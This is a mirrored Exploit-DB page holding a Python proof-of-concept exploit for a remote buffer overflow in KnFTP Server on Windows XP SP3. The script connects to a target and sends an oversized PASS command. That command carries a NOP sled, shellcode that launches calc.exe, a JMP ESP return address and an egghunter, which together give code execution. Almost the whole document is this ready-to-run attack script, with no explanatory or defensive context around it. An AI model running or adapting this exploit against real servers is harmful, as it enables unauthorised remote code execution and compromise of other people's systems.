KnFTP Server – Remote Buffer Overflow

  • 作者: blake
    日期: 2011-09-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17819/
  • #!/usr/bin/python
    # tested on windows xp sp3
    # overwrites EIP
    # seh is overwritten with larger payloads
    # knftpd.exe is the only non safeseh module
    import sys,socket
    
    print "\n====================="
    print "KnFTP Buffer Overflow"
    print " Written by Blake"
    print "=====================\n"
    
    if len(sys.argv) !=3:
    	print "[*] Usage: %s <ip> <port>" % sys.argv[0]
    	sys.exit(0)
    
    target = sys.argv[1]
    port = int(sys.argv[2])
    
    # 271 bytes of space for shellcode
    # 227 bytes windows/exec CMD => calc.exe
    shellcode =(
    "\xb8\xe8\xaa\x5e\xc0\xdb\xd6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
    "\x33\x31\x43\x12\x03\x43\x12\x83\x03\x56\xbc\x35\x2f\x4f\xc8"
    "\xb6\xcf\x90\xab\x3f\x2a\xa1\xf9\x24\x3f\x90\xcd\x2f\x6d\x19"
    "\xa5\x62\x85\xaa\xcb\xaa\xaa\x1b\x61\x8d\x85\x9c\x47\x11\x49"
    "\x5e\xc9\xed\x93\xb3\x29\xcf\x5c\xc6\x28\x08\x80\x29\x78\xc1"
    "\xcf\x98\x6d\x66\x8d\x20\x8f\xa8\x9a\x19\xf7\xcd\x5c\xed\x4d"
    "\xcf\x8c\x5e\xd9\x87\x34\xd4\x85\x37\x45\x39\xd6\x04\x0c\x36"
    "\x2d\xfe\x8f\x9e\x7f\xff\xbe\xde\x2c\x3e\x0f\xd3\x2d\x06\xb7"
    "\x0c\x58\x7c\xc4\xb1\x5b\x47\xb7\x6d\xe9\x5a\x1f\xe5\x49\xbf"
    "\x9e\x2a\x0f\x34\xac\x87\x5b\x12\xb0\x16\x8f\x28\xcc\x93\x2e"
    "\xff\x45\xe7\x14\xdb\x0e\xb3\x35\x7a\xea\x12\x49\x9c\x52\xca"
    "\xef\xd6\x70\x1f\x89\xb4\x1e\xde\x1b\xc3\x67\xe0\x23\xcc\xc7"
    "\x89\x12\x47\x88\xce\xaa\x82\xed\x21\xe1\x8f\x47\xaa\xac\x45"
    "\xda\xb7\x4e\xb0\x18\xce\xcc\x31\xe0\x35\xcc\x33\xe5\x72\x4a"
    "\xaf\x97\xeb\x3f\xcf\x04\x0b\x6a\xac\xcb\x9f\xf6\x1d\x6e\x18"
    "\x9c\x61")
    
    # 32 byte egghunter
    egghunter =(
    "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
    "\x54\x30\x30\x57" # egg - W00T
    "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
    
    egg = "\x54\x30\x30\x57\x54\x30\x30\x57"
    buffer = "\x90" * (271 - len(egg + shellcode))
    eip = "\x13\x44\x87\x7c" 	# 7C874413 JMP ESP - kernel32.dll
    nops = "\x90" * 8
    
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "[+] Connecting to %s on port %d" % (target,port) 
    try:
    	s.connect((target,port))
    	print "[+] Sending payload"
    	s.send("USER blake \r\n")
    	s.recv(1024)
    	s.send("PASS " + buffer + egg + shellcode + eip + nops + egghunter + "\r\n")
    	s.recv(1024)
    	s.close()
    	print "[+] Payload sent successfully"
    	raw_input("[+] Press any key to exit\n")
    except:
    	print "[+] Could not connect to %s!" % target
    	sys.exit(0)